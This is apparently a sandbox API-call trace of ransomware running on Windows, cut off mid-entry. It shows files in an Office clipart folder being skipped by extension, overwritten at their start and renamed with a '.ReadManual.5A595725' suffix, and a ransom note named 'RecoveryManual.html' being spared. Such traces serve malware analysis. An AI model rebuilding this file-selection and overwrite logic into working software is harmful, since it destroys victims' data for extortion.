[0273.771] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.771] CloseHandle (hObject=0x194) returned 1 [0273.771] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1 [0273.771] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SHOW_01.MID" | out: lpString1="SHOW_01.MID") returned="SHOW_01.MID" [0273.771] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="RecoveryManual.html") returned 1 [0273.771] StrStrIW (lpFirst="SHOW_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.771] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0273.771] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0273.771] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0273.771] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0273.771] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0273.771] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0273.771] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0273.771] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0273.771] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0273.771] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0273.771] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0273.772] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0273.772] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0273.772] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0273.772] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" [0273.772] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.ReadManual.5A595725" [0273.772] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.ReadManual.5A595725") returned 86 [0273.772] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39444044586) returned 1 [0273.772] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0273.778] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.871] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6392) returned 1 [0273.955] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18f8, lpName=0x0) returned 0x184 [0273.955] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0273.995] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.995] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.058] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.058] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18f8) returned 0x2f0000 [0274.058] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.058] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39472685677) returned 1 [0274.058] CloseHandle (hObject=0x184) returned 1 [0274.058] SetSecurityInfo () returned 0x57 [0274.058] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.058] CloseHandle (hObject=0x194) returned 1 [0274.058] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1 [0274.059] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00256_.WMF" | out: lpString1="SL00256_.WMF") returned="SL00256_.WMF" [0274.059] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.059] StrStrIW (lpFirst="SL00256_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.059] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.060] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.060] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.060] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.066] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.066] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" [0274.066] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.ReadManual.5A595725" [0274.066] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.ReadManual.5A595725") returned 87 [0274.068] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39473672002) returned 1 [0274.068] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf")) returned 0x20 [0274.141] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.142] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10762) returned 1 [0274.142] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a0a, lpName=0x0) returned 0x184 [0274.142] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.143] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.144] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.147] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.148] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a0a) returned 0x2f0000 [0274.148] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.148] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39481687523) returned 1 [0274.148] CloseHandle (hObject=0x184) returned 1 [0274.148] SetSecurityInfo () returned 0x57 [0274.148] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.148] CloseHandle (hObject=0x194) returned 1 [0274.148] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0274.149] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00260_.WMF" | out: lpString1="SL00260_.WMF") returned="SL00260_.WMF" [0274.149] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.149] StrStrIW (lpFirst="SL00260_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.149] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.149] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.149] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" [0274.149] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.ReadManual.5A595725" [0274.149] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.ReadManual.5A595725") returned 87 [0274.149] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39481787036) returned 1 [0274.149] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf")) returned 0x20 [0274.149] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.150] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31908) returned 1 [0274.150] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ca4, lpName=0x0) returned 0x184 [0274.150] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.151] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.151] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.152] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.152] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ca4) returned 0x2f0000 [0274.153] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.153] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39482162474) returned 1 [0274.153] CloseHandle (hObject=0x184) returned 1 [0274.153] SetSecurityInfo () returned 0x57 [0274.153] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.153] CloseHandle (hObject=0x194) returned 1 [0274.153] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1 [0274.153] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00268_.WMF" | out: lpString1="SL00268_.WMF") returned="SL00268_.WMF" [0274.153] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.153] StrStrIW (lpFirst="SL00268_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.153] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.153] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.153] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.153] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.153] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.153] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.154] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.154] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.154] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.154] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.154] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.154] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.154] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.154] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.154] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" [0274.154] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.ReadManual.5A595725" [0274.154] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.ReadManual.5A595725") returned 87 [0274.154] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39482259869) returned 1 [0274.154] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf")) returned 0x20 [0274.155] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.156] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3932) returned 1 [0274.156] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf5c, lpName=0x0) returned 0x184 [0274.156] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.157] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.157] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.158] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.158] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf5c) returned 0x2f0000 [0274.158] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.159] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39482732407) returned 1 [0274.159] CloseHandle (hObject=0x184) returned 1 [0274.159] SetSecurityInfo () returned 0x57 [0274.159] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.159] CloseHandle (hObject=0x194) returned 1 [0274.159] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1 [0274.159] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00286_.WMF" | out: lpString1="SL00286_.WMF") returned="SL00286_.WMF" [0274.159] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.159] StrStrIW (lpFirst="SL00286_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.159] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.159] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.159] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" [0274.159] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.ReadManual.5A595725" [0274.159] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.ReadManual.5A595725") returned 87 [0274.159] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39482825218) returned 1 [0274.160] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf")) returned 0x20 [0274.171] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.172] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7596) returned 1 [0274.172] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dac, lpName=0x0) returned 0x184 [0274.172] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.173] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.173] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.175] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.175] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1dac) returned 0x2f0000 [0274.175] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.175] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39484402750) returned 1 [0274.175] CloseHandle (hObject=0x184) returned 1 [0274.175] SetSecurityInfo () returned 0x57 [0274.175] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.176] CloseHandle (hObject=0x194) returned 1 [0274.176] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1 [0274.176] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00298_.WMF" | out: lpString1="SL00298_.WMF") returned="SL00298_.WMF" [0274.176] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.176] StrStrIW (lpFirst="SL00298_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.176] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 